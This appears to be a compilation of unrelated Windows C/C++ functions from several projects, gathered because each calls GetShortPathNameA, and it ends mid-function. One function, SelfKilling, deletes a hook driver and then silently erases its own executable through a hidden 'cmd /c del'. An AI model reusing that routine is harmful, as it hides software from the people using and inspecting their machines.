static void myspace_links_register()
{
HKEY hkey;
char szBuf[MAX_PATH], szExe[MAX_PATH * 2], szShort[MAX_PATH];
GetModuleFileNameA(hInst, szBuf, sizeof(szBuf));
GetShortPathNameA(szBuf, szShort, sizeof(szShort));
//LOG(LOG_DEBUG, "Links: register");
if (RegCreateKeyA(HKEY_CLASSES_ROOT, "myim", &hkey) == ERROR_SUCCESS) {
RegSetValueA(hkey, NULL, REG_SZ, "URL:MySpace IM Protocol", strlen("URL:MySpace IM Protocol"));
RegSetValueExA(hkey, "URL Protocol", 0, REG_SZ, (PBYTE) "", 1);
RegCloseKey(hkey);
}
else {
//LOG(LOG_ERROR, "Links: register - unable to create registry key (root)");
return;
}
if (RegCreateKeyA(HKEY_CLASSES_ROOT, "myim\\DefaultIcon", &hkey) == ERROR_SUCCESS) {
char szIcon[MAX_PATH];
mir_snprintf(szIcon, sizeof(szIcon), "%s,0", szShort);
RegSetValueA(hkey, NULL, REG_SZ, szIcon, strlen(szIcon));
RegCloseKey(hkey);
}
else {
//LOG(LOG_ERROR, "Links: register - unable to create registry key (DefaultIcon)");
return;
}
if (RegCreateKeyA(HKEY_CLASSES_ROOT, "myim\\shell\\open\\command", &hkey) == ERROR_SUCCESS) {
// MSVC exports differently than gcc/mingw
#ifdef _MSC_VER
mir_snprintf(szExe, sizeof(szExe), "RUNDLL32.EXE %s,_myspace_links_exec@16 %%1", szShort);
//LOG(LOG_INFO, "Links: registering (%s)", szExe);
#else
mir_snprintf(szExe, sizeof(szExe), "RUNDLL32.EXE %s,myspace_links_exec@16 %%1", szShort);
//LOG(LOG_INFO, "Links: registering (%s)", szExe);
#endif
RegSetValueA(hkey, NULL, REG_SZ, szExe, strlen(szExe));
RegCloseKey(hkey);
}
else {
//LOG(LOG_ERROR, "Links: register - unable to create registry key (command)");
return;
}
}
/**
* Get the short DOS 8.3 format for paths.
* FreeType doesn't support Unicode filenames and Windows' fopen (as used
* by FreeType) doesn't support UTF-8 filenames. So we have to convert the
* filename into something that isn't UTF-8 but represents the Unicode file
* name. This is the short DOS 8.3 format. This does not contain any
* characters that fopen doesn't support.
* @param long_path the path in UTF-8.
* @return the short path in ANSI (ASCII).
*/
char *GetShortPath(const char *long_path)
{
static char short_path[MAX_PATH];
#ifdef UNICODE
/* The non-unicode GetShortPath doesn't support UTF-8...,
* so convert the path to wide chars, then get the short
* path and convert it back again. */
wchar_t long_path_w[MAX_PATH];
MultiByteToWideChar(CP_UTF8, 0, long_path, -1, long_path_w, MAX_PATH);
wchar_t short_path_w[MAX_PATH];
GetShortPathNameW(long_path_w, short_path_w, MAX_PATH);
WideCharToMultiByte(CP_ACP, 0, short_path_w, -1, short_path, MAX_PATH, NULL, NULL);
#else
/* Technically not needed, but do it for consistency. */
GetShortPathNameA(long_path, short_path, MAX_PATH);
#endif
return short_path;
}
void CHawkeye_clientApp::SelfKilling()
{
char lCommand[MAX_BUF_SIZE + 1];
char lFile[MAX_BUF_SIZE + 1];
_unlink("ddkhook.sys");
_unlink("mfc100u.dll");
_unlink("msvcr100.dll");
ZeroMemory(lCommand, sizeof(lCommand));
if((GetModuleFileNameA(0, lFile, sizeof(lFile)) != 0) && (GetShortPathNameA(lFile, lFile, MAX_BUF_SIZE) != 0))
{
_snprintf(lCommand, sizeof(lCommand) - 1, "/c del %s >> NUL", lFile);
GetEnvironmentVariableA("ComSpec", lFile, MAX_PATH) && ShellExecuteA(0, 0, lFile, lCommand, 0, SW_HIDE);
}// else
exit(0);
}
DWORD
WINAPI
demFileFindNext(OUT PVOID lpFindFileData)
{
WIN32_FIND_DATAA FindData;
PDOS_FIND_FILE_BLOCK FindFileBlock = (PDOS_FIND_FILE_BLOCK)lpFindFileData;
do
{
/* Continue searching as long as we haven't found a matching file */
/* If we failed at some point, close the search and return an error */
if (!FindNextFileA(FindFileBlock->SearchHandle, &FindData))
{
FindClose(FindFileBlock->SearchHandle);
return GetLastError();
}
}
while ((FindData.dwFileAttributes & (FILE_ATTRIBUTE_HIDDEN |
FILE_ATTRIBUTE_SYSTEM |
FILE_ATTRIBUTE_DIRECTORY))
& ~FindFileBlock->AttribMask);
/* Update the block */
FindFileBlock->Attributes = LOBYTE(FindData.dwFileAttributes);
FileTimeToDosDateTime(&FindData.ftLastWriteTime,
&FindFileBlock->FileDate,
&FindFileBlock->FileTime);
FindFileBlock->FileSize = FindData.nFileSizeHigh ? 0xFFFFFFFF
: FindData.nFileSizeLow;
/* Build a short path name */
if (*FindData.cAlternateFileName)
strncpy(FindFileBlock->FileName, FindData.cAlternateFileName, sizeof(FindFileBlock->FileName));
else
GetShortPathNameA(FindData.cFileName, FindFileBlock->FileName, sizeof(FindFileBlock->FileName));
return ERROR_SUCCESS;
}
// loads and starts module
int KL1_LoadModule (const WCHAR *name, const WCHAR* path)
{
KL1_CheckOS();
KL1_MODULE_CONTEXT context;
USES_CONVERSION;
strcpy(context.ModuleName, W2A(name));
if (g_os == KL1_OS_9X)
{
CHAR szOemPath[MAX_PATH];
if(GetShortPathNameA(W2A(path), szOemPath, sizeof(szOemPath)) == 0)
return KL1_ERR;
CharToOem(szOemPath, szOemPath);
wcscpy(context.ModulePath, AtoU(szOemPath, (int)strlen(szOemPath)));
}
else
{
wcscpy(context.ModulePath, path);
}
return KL1_SendIOCtrl(KL1_LOAD_MODULE, &context, sizeof(context), NULL, 0, NULL);
}
/* NOTE: the passfail structure is used to allow cutomizeable todo checking
for wine. It is not very pretty, but it sure beats duplicating this
function lots of times
*/
static void test_ValidPathA(const CHAR *curdir, const CHAR *subdir, const CHAR *filename,
CHAR *shortstr, SLpassfail *passfail, const CHAR *errstr)
{
CHAR tmpstr[MAX_PATH],
fullpath[MAX_PATH], /*full path to the file (not short/long) */
subpath[MAX_PATH], /*relative path to the file */
fullpathshort[MAX_PATH], /*absolue path to the file (short format) */
fullpathlong[MAX_PATH], /*absolute path to the file (long format) */
curdirshort[MAX_PATH], /*absolute path to the current dir (short) */
curdirlong[MAX_PATH]; /*absolute path to the current dir (long) */
LPSTR strptr; /*ptr to the filename portion of the path */
DWORD len;
/* if passfail is NULL, we can perform all checks within this function,
otherwise, we will return the relevant data in the passfail struct, so
we must initialize it first
*/
if(passfail!=NULL) {
passfail->shortlen=-1;passfail->s2llen=-1;passfail->longlen=-1;
passfail->shorterror=0;passfail->s2lerror=0;passfail->longerror=0;
}
/* GetLongPathNameA is only supported on Win2k+ and Win98+ */
if(pGetLongPathNameA) {
ok((len=pGetLongPathNameA(curdir,curdirlong,MAX_PATH)),
"%s: GetLongPathNameA failed\n",errstr);
/*GetLongPathNameA can return a trailing '\\' but shouldn't do so here */
ok(! HAS_TRAIL_SLASH_A(curdirlong),
"%s: GetLongPathNameA should not have a trailing \\\n",errstr);
}
ok((len=GetShortPathNameA(curdir,curdirshort,MAX_PATH)),
"%s: GetShortPathNameA failed\n",errstr);
/*GetShortPathNameA can return a trailing '\\' but shouldn't do so here */
ok(! HAS_TRAIL_SLASH_A(curdirshort),
"%s: GetShortPathNameA should not have a trailing \\\n",errstr);
/* build relative and absolute paths from inputs */
if(lstrlenA(subdir)) {
sprintf(subpath,"%s\\%s",subdir,filename);
} else {
lstrcpyA(subpath,filename);
}
sprintf(fullpath,"%s\\%s",curdir,subpath);
sprintf(fullpathshort,"%s\\%s",curdirshort,subpath);
sprintf(fullpathlong,"%s\\%s",curdirlong,subpath);
/* Test GetFullPathNameA functionality */
len=GetFullPathNameA(subpath,MAX_PATH,tmpstr,&strptr);
ok(len, "GetFullPathNameA failed for: '%s'\n",subpath);
if(HAS_TRAIL_SLASH_A(subpath)) {
ok(strptr==NULL,
"%s: GetFullPathNameA should not return a filename ptr\n",errstr);
ok(lstrcmpiA(fullpath,tmpstr)==0,
"%s: GetFullPathNameA returned '%s' instead of '%s'\n",
errstr,tmpstr,fullpath);
} else {
ok(lstrcmpiA(strptr,filename)==0,
"%s: GetFullPathNameA returned '%s' instead of '%s'\n",
errstr,strptr,filename);
ok(lstrcmpiA(fullpath,tmpstr)==0,
"%s: GetFullPathNameA returned '%s' instead of '%s'\n",
errstr,tmpstr,fullpath);
}
/* Test GetShortPathNameA functionality */
SetLastError(0);
len=GetShortPathNameA(fullpathshort,shortstr,MAX_PATH);
if(passfail==NULL) {
ok(len, "%s: GetShortPathNameA failed\n",errstr);
} else {
passfail->shortlen=len;
passfail->shorterror=GetLastError();
}
/* Test GetLongPathNameA functionality
We test both conversion from GetFullPathNameA and from GetShortPathNameA
*/
if(pGetLongPathNameA) {
if(len!=0) {
SetLastError(0);
len=pGetLongPathNameA(shortstr,tmpstr,MAX_PATH);
if(passfail==NULL) {
ok(len,
"%s: GetLongPathNameA failed during Short->Long conversion\n", errstr);
ok(lstrcmpiA(fullpathlong,tmpstr)==0,
"%s: GetLongPathNameA returned '%s' instead of '%s'\n",
errstr,tmpstr,fullpathlong);
} else {
passfail->s2llen=len;
passfail->s2lerror=GetLastError();
}
}
SetLastError(0);
len=pGetLongPathNameA(fullpath,tmpstr,MAX_PATH);
if(passfail==NULL) {
ok(len, "%s: GetLongPathNameA failed\n",errstr);
if(HAS_TRAIL_SLASH_A(fullpath)) {
ok(lstrcmpiA(fullpathlong,tmpstr)==0,
"%s: GetLongPathNameA returned '%s' instead of '%s'\n",
errstr,tmpstr,fullpathlong);
} else {
ok(lstrcmpiA(fullpathlong,tmpstr)==0,
"%s: GetLongPathNameA returned '%s' instead of '%s'\n",
errstr,tmpstr,fullpathlong);
}
} else {
passfail->longlen=len;
passfail->longerror=GetLastError();
}
}
}
/**********************************************************************
* EVENT_DropURLs
*
* drop items are separated by \n
* each item is prefixed by its mime type
*
* event->data.l[3], event->data.l[4] contains drop x,y position
*/
static void EVENT_DropURLs( HWND hWnd, XClientMessageEvent *event )
{
unsigned long data_length;
unsigned long aux_long, drop_len = 0;
unsigned char *p_data = NULL; /* property data */
char *p_drop = NULL;
char *p, *next;
int x, y;
DROPFILES *lpDrop;
HDROP hDrop;
union {
Atom atom_aux;
int i;
Window w_aux;
unsigned int u;
} u; /* unused */
if (!(GetWindowLongW( hWnd, GWL_EXSTYLE ) & WS_EX_ACCEPTFILES)) return;
wine_tsx11_lock();
XGetWindowProperty( event->display, DefaultRootWindow(event->display),
x11drv_atom(DndSelection), 0, 65535, FALSE,
AnyPropertyType, &u.atom_aux, &u.i,
&data_length, &aux_long, &p_data);
wine_tsx11_unlock();
if (aux_long)
WARN("property too large, truncated!\n");
TRACE("urls=%s\n", p_data);
if( !aux_long && p_data) { /* don't bother if > 64K */
/* calculate length */
p = (char*) p_data;
next = strchr(p, '\n');
while (p) {
if (next) *next=0;
if (strncmp(p,"file:",5) == 0 ) {
INT len = GetShortPathNameA( p+5, NULL, 0 );
if (len) drop_len += len + 1;
}
if (next) {
*next = '\n';
p = next + 1;
next = strchr(p, '\n');
} else {
p = NULL;
}
}
if( drop_len && drop_len < 65535 ) {
wine_tsx11_lock();
XQueryPointer( event->display, root_window, &u.w_aux, &u.w_aux,
&x, &y, &u.i, &u.i, &u.u);
wine_tsx11_unlock();
drop_len += sizeof(DROPFILES) + 1;
hDrop = GlobalAlloc( GMEM_SHARE, drop_len );
lpDrop = (DROPFILES *) GlobalLock( hDrop );
if( lpDrop ) {
WND *pDropWnd = WIN_GetPtr( hWnd );
lpDrop->pFiles = sizeof(DROPFILES);
lpDrop->pt.x = (INT)x;
lpDrop->pt.y = (INT)y;
lpDrop->fNC =
( x < (pDropWnd->rectClient.left - pDropWnd->rectWindow.left) ||
y < (pDropWnd->rectClient.top - pDropWnd->rectWindow.top) ||
x > (pDropWnd->rectClient.right - pDropWnd->rectWindow.left) ||
y > (pDropWnd->rectClient.bottom - pDropWnd->rectWindow.top) );
lpDrop->fWide = FALSE;
p_drop = (char*)(lpDrop + 1);
WIN_ReleasePtr(pDropWnd);
}
/* create message content */
if (p_drop) {
p = (char*) p_data;
next = strchr(p, '\n');
while (p) {
if (next) *next=0;
if (strncmp(p,"file:",5) == 0 ) {
INT len = GetShortPathNameA( p+5, p_drop, 65535 );
if (len) {
TRACE("drop file %s as %s\n", p+5, p_drop);
p_drop += len+1;
} else {
WARN("can't convert file %s to dos name\n", p+5);
}
} else {
WARN("unknown mime type %s\n", p);
}
if (next) {
*next = '\n';
p = next + 1;
next = strchr(p, '\n');
} else {
p = NULL;
}
*p_drop = '\0';
}
GlobalUnlock(hDrop);
PostMessageA( hWnd, WM_DROPFILES, (WPARAM)hDrop, 0L );
}
}
wine_tsx11_lock();
if( p_data ) XFree(p_data);
wine_tsx11_unlock();
}
}
/**********************************************************************
* EVENT_DropFromOffix
*
* don't know if it still works (last Changlog is from 96/11/04)
*/
static void EVENT_DropFromOffiX( HWND hWnd, XClientMessageEvent *event )
{
unsigned long data_length;
unsigned long aux_long;
unsigned char* p_data = NULL;
Atom atom_aux;
int x, y, dummy;
BOOL bAccept;
Window win, w_aux_root, w_aux_child;
WND* pWnd;
HWND hScope = hWnd;
win = X11DRV_get_whole_window(hWnd);
wine_tsx11_lock();
XQueryPointer( event->display, win, &w_aux_root, &w_aux_child,
&x, &y, &dummy, &dummy, (unsigned int*)&aux_long);
wine_tsx11_unlock();
pWnd = WIN_GetPtr(hWnd);
/* find out drop point and drop window */
if( x < 0 || y < 0 ||
x > (pWnd->rectWindow.right - pWnd->rectWindow.left) ||
y > (pWnd->rectWindow.bottom - pWnd->rectWindow.top) )
{
bAccept = pWnd->dwExStyle & WS_EX_ACCEPTFILES;
x = 0;
y = 0;
}
else
{
POINT pt = { x, y };
HWND hwndDrop = find_drop_window( hWnd, &pt );
if (hwndDrop)
{
x = pt.x;
y = pt.y;
hScope = hwndDrop;
bAccept = TRUE;
}
else
{
bAccept = FALSE;
}
}
WIN_ReleasePtr(pWnd);
if (!bAccept) return;
wine_tsx11_lock();
XGetWindowProperty( event->display, DefaultRootWindow(event->display),
x11drv_atom(DndSelection), 0, 65535, FALSE,
AnyPropertyType, &atom_aux, &dummy,
&data_length, &aux_long, &p_data);
wine_tsx11_unlock();
if( !aux_long && p_data) /* don't bother if > 64K */
{
char *p = (char *)p_data;
char *p_drop;
aux_long = 0;
while( *p ) /* calculate buffer size */
{
INT len = GetShortPathNameA( p, NULL, 0 );
if (len) aux_long += len + 1;
p += strlen(p) + 1;
}
if( aux_long && aux_long < 65535 )
{
HDROP hDrop;
DROPFILES *lpDrop;
aux_long += sizeof(DROPFILES) + 1;
hDrop = GlobalAlloc( GMEM_SHARE, aux_long );
lpDrop = (DROPFILES*)GlobalLock( hDrop );
if( lpDrop )
{
WND *pDropWnd = WIN_GetPtr( hScope );
lpDrop->pFiles = sizeof(DROPFILES);
lpDrop->pt.x = x;
lpDrop->pt.y = y;
lpDrop->fNC =
( x < (pDropWnd->rectClient.left - pDropWnd->rectWindow.left) ||
y < (pDropWnd->rectClient.top - pDropWnd->rectWindow.top) ||
x > (pDropWnd->rectClient.right - pDropWnd->rectWindow.left) ||
y > (pDropWnd->rectClient.bottom - pDropWnd->rectWindow.top) );
lpDrop->fWide = FALSE;
WIN_ReleasePtr(pDropWnd);
p_drop = (char *)(lpDrop + 1);
p = (char *)p_data;
while(*p)
{
if (GetShortPathNameA( p, p_drop, aux_long - (p_drop - (char *)lpDrop) ))
p_drop += strlen( p_drop ) + 1;
p += strlen(p) + 1;
}
*p_drop = '\0';
PostMessageA( hWnd, WM_DROPFILES, (WPARAM)hDrop, 0L );
}
}
}
wine_tsx11_lock();
if( p_data ) XFree(p_data);
wine_tsx11_unlock();
}
/***********************************************************************
* TASK_Create
*
* NOTE: This routine might be called by a Win32 thread. Thus, we need
* to be careful to protect global data structures. We do this
* by entering the Win16Lock while linking the task into the
* global task list.
*/
static TDB *TASK_Create( NE_MODULE *pModule, UINT16 cmdShow, LPCSTR cmdline, BYTE len )
{
HTASK16 hTask;
TDB *pTask;
FARPROC16 proc;
char curdir[MAX_PATH];
HMODULE16 hModule = pModule ? pModule->self : 0;
/* Allocate the task structure */
hTask = GlobalAlloc16( GMEM_FIXED | GMEM_ZEROINIT, sizeof(TDB) );
if (!hTask) return NULL;
pTask = TASK_GetPtr( hTask );
FarSetOwner16( hTask, hModule );
/* Fill the task structure */
pTask->hSelf = hTask;
pTask->version = pModule ? pModule->ne_expver : 0x0400;
pTask->hModule = hModule;
pTask->hParent = GetCurrentTask();
pTask->magic = TDB_MAGIC;
pTask->nCmdShow = cmdShow;
GetCurrentDirectoryA( sizeof(curdir), curdir );
GetShortPathNameA( curdir, curdir, sizeof(curdir) );
pTask->curdrive = (curdir[0] - 'A') | 0x80;
lstrcpynA( pTask->curdir, curdir + 2, sizeof(pTask->curdir) );
/* Create the thunks block */
TASK_CreateThunks( hTask, (char *)pTask->thunks - (char *)pTask, 7 );
/* Copy the module name */
if (hModule)
{
char name[sizeof(pTask->module_name)+1];
size_t len;
GetModuleName16( hModule, name, sizeof(name) );
len = strlen(name) + 1;
memcpy(pTask->module_name, name, min(len,sizeof(pTask->module_name)));
pTask->compat_flags = GetProfileIntA( "Compatibility", name, 0 );
}
/* Allocate a selector for the PDB */
pTask->hPDB = GLOBAL_CreateBlock( GMEM_FIXED, &pTask->pdb, sizeof(PDB16),
hModule, WINE_LDT_FLAGS_DATA );
/* Fill the PDB */
pTask->pdb.int20 = 0x20cd;
pTask->pdb.dispatcher[0] = 0x9a; /* ljmp */
proc = GetProcAddress16( GetModuleHandle16("KERNEL"), "DOS3Call" );
memcpy( &pTask->pdb.dispatcher[1], &proc, sizeof(proc) );
pTask->pdb.savedint22 = 0;
pTask->pdb.savedint23 = 0;
pTask->pdb.savedint24 = 0;
pTask->pdb.fileHandlesPtr =
MAKESEGPTR( GlobalHandleToSel16(pTask->hPDB), FIELD_OFFSET( PDB16, fileHandles ));
pTask->pdb.hFileHandles = 0;
memset( pTask->pdb.fileHandles, 0xff, sizeof(pTask->pdb.fileHandles) );
/* FIXME: should we make a copy of the environment? */
pTask->pdb.environment = SELECTOROF(GetDOSEnvironment16());
pTask->pdb.nbFiles = 20;
/* Fill the command line */
if (!cmdline)
{
cmdline = GetCommandLineA();
/* remove the first word (program name) */
if (*cmdline == '"')
if (!(cmdline = strchr( cmdline+1, '"' ))) cmdline = GetCommandLineA();
while (*cmdline && (*cmdline != ' ') && (*cmdline != '\t')) cmdline++;
while ((*cmdline == ' ') || (*cmdline == '\t')) cmdline++;
len = strlen(cmdline);
}
if (len >= sizeof(pTask->pdb.cmdLine)) len = sizeof(pTask->pdb.cmdLine)-1;
pTask->pdb.cmdLine[0] = len;
memcpy( pTask->pdb.cmdLine + 1, cmdline, len );
/* pTask->pdb.cmdLine[len+1] = 0; */
TRACE("cmdline='%.*s' task=%04x\n", len, cmdline, hTask );
/* Allocate a code segment alias for the TDB */
pTask->hCSAlias = GLOBAL_CreateBlock( GMEM_FIXED, pTask, sizeof(TDB),
pTask->hPDB, WINE_LDT_FLAGS_CODE );
/* Default DTA overwrites command line */
pTask->dta = MAKESEGPTR( pTask->hPDB, FIELD_OFFSET( PDB16, cmdLine ));
/* Create scheduler event for 16-bit tasks */
if ( !(pTask->flags & TDBF_WIN32) )
NtCreateEvent( &pTask->hEvent, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE );
if (!initial_task) initial_task = hTask;
return pTask;
}
int
gsview_progman(char *groupname, char *gsviewpath, int gsver, char *gspath, char *gsargs)
{
DWORD idInst = 0L;
FARPROC lpDdeProc;
HSZ hszServName;
HSZ hszSysTopic;
HSZ hszGroupsItem;
HCONV hConv;
HDDEDATA hdata = NULL;
char setup[MAXSTR+MAXSTR];
DWORD dwResult;
char groupfile[MAXSTR];
int i;
char *s, *d;
FILE *ddefile;
char gspathbuf[MAXSTR];
char gsviewpathbuf[MAXSTR];
char gsdocbuf[MAXSTR];
strncpy(gspathbuf, gspath, sizeof(gspathbuf)/sizeof(TCHAR));
strncpy(gsdocbuf, gsargs, sizeof(gsdocbuf)/sizeof(TCHAR));
d = strchr(gsdocbuf, ';');
if (d)
*d = '\0';
if (gsver >= 593) {
d = strrchr(gsdocbuf, '\\');
if (d) {
d++;
strcpy(d, "doc\\");
}
}
else {
strcat(gsdocbuf, "\\");
}
strncpy(gsviewpathbuf, gsviewpath, sizeof(gsviewpathbuf));
if (!is_win32s) {
/* The DDE interface isn't reliable with long names */
/* Convert everything to short names */
GetShortPathNameA(gspath, gspathbuf, sizeof(gspathbuf));
GetShortPathNameA(gsviewpath, gsviewpathbuf, sizeof(gsviewpathbuf));
}
/* Open ProgMan DDE undo file if it doesn't exist */
strcpy(setup, gsviewpathbuf);
strcat(setup, GSVIEW_ZIP);
d = strrchr(setup, '.');
strcpy(d, "dde.log");
ddefile = fopen(setup, "r");
if (ddefile != (FILE *)NULL) {
/* We found a previous ProgMan DDE undo file. */
/* Don't touch it since we want to keep the original record */
/* of the ProgMan state before GSview was installed */
fclose(ddefile);
ddefile = (FILE *)NULL;
}
else {
ddefile = fopen(setup, "w");
/* If we fail to open the file for writing, the destination is probably
* read only. Don't worry, just don't write to the log file.
*/
}
/* derive group filename from group name */
for (i=0, s=groupname, d=groupfile; i<8 && *s; s++) {
if (isalpha((int)(*s)) || isdigit((int)(*s))) {
*d++ = *s;
i++;
}
}
*d = '\0';
if (strlen(groupfile)==0)
strcpy(groupfile, "gstools");
lpDdeProc = MakeProcInstance((FARPROC)DdeCallback, phInstance);
if (DdeInitialize(&idInst, (PFNCALLBACK)lpDdeProc, CBF_FAIL_POKES, 0L)) {
return 1;
}
hszServName = DdeCreateStringHandleA(idInst, "PROGMAN", CP_WINANSI);
hszSysTopic = DdeCreateStringHandleA(idInst, "PROGMAN", CP_WINANSI);
hConv = DdeConnect(idInst, hszServName, hszSysTopic, (PCONVCONTEXT)NULL);
if (hConv == NULL) {
DdeFreeStringHandle(idInst, hszServName);
DdeFreeStringHandle(idInst, hszSysTopic);
return 1;
}
if (ddefile) {
/* Find out if group existed */
hszGroupsItem = DdeCreateStringHandleA(idInst, groupname, CP_WINANSI);
hdata = DdeClientTransaction((LPBYTE)NULL, 0, hConv,\
hszGroupsItem, CF_TEXT, XTYP_REQUEST, 5000, &dwResult);
DdeFreeStringHandle(idInst, hszGroupsItem);
}
#define DDEEXECUTE(str)\
DdeClientTransaction((LPBYTE)str, strlen(str)+1, hConv,\
NULL, CF_TEXT, XTYP_EXECUTE, 5000, &dwResult)
sprintf(setup, "[CreateGroup(\042%s\042,%s.grp)][ShowGroup(\042%s\042,1)]",
groupname, groupfile, groupname); /* display, active */
DDEEXECUTE(setup);
if (ddefile) /* display, no active */
fprintf(ddefile, "[ShowGroup(\042%s\042,8)]\n",groupname);
sprintf(setup, "[ReplaceItem(\042%s\042)]", GSVIEW_NAME);
DDEEXECUTE(setup);
#ifdef _WIN64
#define GSVIEW_ICON "gsview64.ico"
#else
#define GSVIEW_ICON "gsview32.ico"
#endif
if (!is_win4)
sprintf(setup, "[AddItem(\042%s%s\042,\042%s\042, \042%s%s\042)]",
gsviewpathbuf, GSVIEW_EXENAME, GSVIEW_NAME, gsviewpathbuf,
GSVIEW_ICON);
else
sprintf(setup, "[AddItem(\042%s%s\042,\042%s\042)]",
gsviewpathbuf, GSVIEW_EXENAME, GSVIEW_NAME);
DDEEXECUTE(setup);
if (ddefile)
fprintf(ddefile, "[DeleteItem(\042%s\042)]\n", GSVIEW_NAME);
/* Win3.1 documentation says you must put quotes around names */
/* with embedded spaces. */
/* In Win95, it appears you must put quotes around the EXE name */
/* and options separately */
sprintf(setup, "[ReplaceItem(\042GSview README\042)]");
DDEEXECUTE(setup);
#ifdef NOTUSED_IN_GSVIEW28
if (!is_win4)
sprintf(setup, "[AddItem(\042notepad.exe %sREADME.TXT\042,\042GSview README\042)]",
gsviewpathbuf);
else
sprintf(setup, "[AddItem(\042notepad.exe\042 \042%sREADME.TXT\042,\042GSview README\042,\042notepad.exe\042,1)]",
gsviewpathbuf);
#endif
sprintf(setup, "[AddItem(\042%sReadme.htm\042,\042GSview README\042)]",
gsviewpathbuf);
DDEEXECUTE(setup);
if (ddefile)
fprintf(ddefile, "[DeleteItem(\042%s\042)]\n", "GSview README");
sprintf(setup, "[ReplaceItem(\042Ghostscript\042)]");
DDEEXECUTE(setup);
if (!is_win4)
sprintf(setup, "[AddItem(\042%s%s -I%s\042,\042Ghostscript\042, \042%sgstext.ico\042)]",
gspathbuf, GS_EXENAME, gsargs, gspathbuf);
else
sprintf(setup, "[AddItem(\042%s%s\042 \042-I%s\042,\042Ghostscript\042)]",
gspathbuf, GS_EXENAME, gsargs);
DDEEXECUTE(setup);
if (ddefile)
fprintf(ddefile, "[DeleteItem(\042%s\042)]\n", "Ghostscript");
sprintf(setup, "[ReplaceItem(\042Ghostscript README\042)]");
DDEEXECUTE(setup);
if (gsver >= 540) {
sprintf(setup,
"[AddItem(\042%sReadme.htm\042,\042Ghostscript README\042)]",
gsdocbuf);
}
else {
if (!is_win4)
sprintf(setup, "[AddItem(\042notepad.exe %sREADME.\042,\042Ghostscript README\042)]",
gsdocbuf);
else
sprintf(setup, "[AddItem(\042notepad.exe\042 \042%sREADME.\042,\042Ghostscript README\042, \042notepad.exe\042,1)]",
gsdocbuf);
}
DDEEXECUTE(setup);
if (ddefile)
fprintf(ddefile, "[DeleteItem(\042%s\042)]\n", "Ghostscript README");
#undef DDEXECUTE
/* Now remember the way things were */
if (ddefile) {
if (hdata) {
DWORD dlen;
BYTE FAR *lpData = DdeAccessData(hdata, &dlen);
LPSTR p, q;
/* skip first line */
q = (LPSTR)lpData;
while (*q && (*q != '\r') && (*q != '\n'))
q++;
while (*q && ((*q == '\r') || (*q == '\n')))
q++;
p = q;
/* for each group item */
while (*p) {
/* skip to end of line */
while (*q && (*q != '\r') && (*q != '\n'))
q++;
strncpy(setup, p, (int)(q-p)+1);
add_group_item(ddefile, setup);
/* skip to start of next group name */
while (*q && ((*q == '\r') || (*q == '\n')))
q++;
p = q;
}
if (ddefile) /* display, no active */
fprintf(ddefile, "[ShowGroup(\042%s\042,8)]\n",groupname);
DdeUnaccessData(hdata);
DdeFreeDataHandle(hdata);
}
else {
/* group didn't exist before, so delete it */
fprintf(ddefile, "[DeleteGroup(\042%s\042)]\n", groupname);
}
fclose(ddefile);
}
DdeDisconnect(hConv);
DdeFreeStringHandle(idInst, hszServName);
DdeFreeStringHandle(idInst, hszSysTopic);
DdeUninitialize(idInst);
return 0;
}
/***********************************************************************
* GetShortPathName (KERNEL.274)
*/
WORD WINAPI GetShortPathName16( LPCSTR longpath, LPSTR shortpath, WORD len )
{
return GetShortPathNameA( longpath, shortpath, len );
}
BOOLEAN DosBIOSInitialize(VOID)
{
PDOS_MCB Mcb = SEGMENT_TO_MCB(FIRST_MCB_SEGMENT);
LPWSTR SourcePtr, Environment;
LPSTR AsciiString;
DWORD AsciiSize;
LPSTR DestPtr = (LPSTR)SEG_OFF_TO_PTR(SYSTEM_ENV_BLOCK, 0);
#if 0
UCHAR i;
CHAR CurrentDirectory[MAX_PATH];
CHAR DosDirectory[DOS_DIR_LENGTH];
LPSTR Path;
FILE *Stream;
WCHAR Buffer[256];
#endif
/* Initialize the MCB */
Mcb->BlockType = 'Z';
Mcb->Size = USER_MEMORY_SIZE;
Mcb->OwnerPsp = 0;
/* Initialize the link MCB to the UMB area */
Mcb = SEGMENT_TO_MCB(FIRST_MCB_SEGMENT + USER_MEMORY_SIZE + 1);
Mcb->BlockType = 'M';
Mcb->Size = UMB_START_SEGMENT - FIRST_MCB_SEGMENT - USER_MEMORY_SIZE - 2;
Mcb->OwnerPsp = SYSTEM_PSP;
/* Initialize the UMB area */
Mcb = SEGMENT_TO_MCB(UMB_START_SEGMENT);
Mcb->BlockType = 'Z';
Mcb->Size = UMB_END_SEGMENT - UMB_START_SEGMENT;
Mcb->OwnerPsp = 0;
/* Get the environment strings */
SourcePtr = Environment = GetEnvironmentStringsW();
if (Environment == NULL) return FALSE;
/* Fill the DOS system environment block */
while (*SourcePtr)
{
/* Get the size of the ASCII string */
AsciiSize = WideCharToMultiByte(CP_ACP,
0,
SourcePtr,
-1,
NULL,
0,
NULL,
NULL);
/* Allocate memory for the ASCII string */
AsciiString = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, AsciiSize);
if (AsciiString == NULL)
{
FreeEnvironmentStringsW(Environment);
return FALSE;
}
/* Convert to ASCII */
WideCharToMultiByte(CP_ACP,
0,
SourcePtr,
-1,
AsciiString,
AsciiSize,
NULL,
NULL);
/* Copy the string into DOS memory */
strcpy(DestPtr, AsciiString);
/* Move to the next string */
SourcePtr += wcslen(SourcePtr) + 1;
DestPtr += strlen(AsciiString);
*(DestPtr++) = 0;
/* Free the memory */
HeapFree(GetProcessHeap(), 0, AsciiString);
}
*DestPtr = 0;
/* Free the memory allocated for environment strings */
FreeEnvironmentStringsW(Environment);
#if 0
/* Clear the current directory buffer */
ZeroMemory(CurrentDirectories, sizeof(CurrentDirectories));
/* Get the current directory */
if (!GetCurrentDirectoryA(MAX_PATH, CurrentDirectory))
{
// TODO: Use some kind of default path?
return FALSE;
}
/* Convert that to a DOS path */
if (!GetShortPathNameA(CurrentDirectory, DosDirectory, DOS_DIR_LENGTH))
{
// TODO: Use some kind of default path?
return FALSE;
}
/* Set the drive */
CurrentDrive = DosDirectory[0] - 'A';
/* Get the directory part of the path */
Path = strchr(DosDirectory, '\\');
if (Path != NULL)
{
/* Skip the backslash */
Path++;
}
/* Set the directory */
if (Path != NULL)
{
strncpy(CurrentDirectories[CurrentDrive], Path, DOS_DIR_LENGTH);
}
/* Read CONFIG.SYS */
Stream = _wfopen(DOS_CONFIG_PATH, L"r");
if (Stream != NULL)
{
while (fgetws(Buffer, sizeof(Buffer)/sizeof(Buffer[0]), Stream))
{
// TODO: Parse the line
}
fclose(Stream);
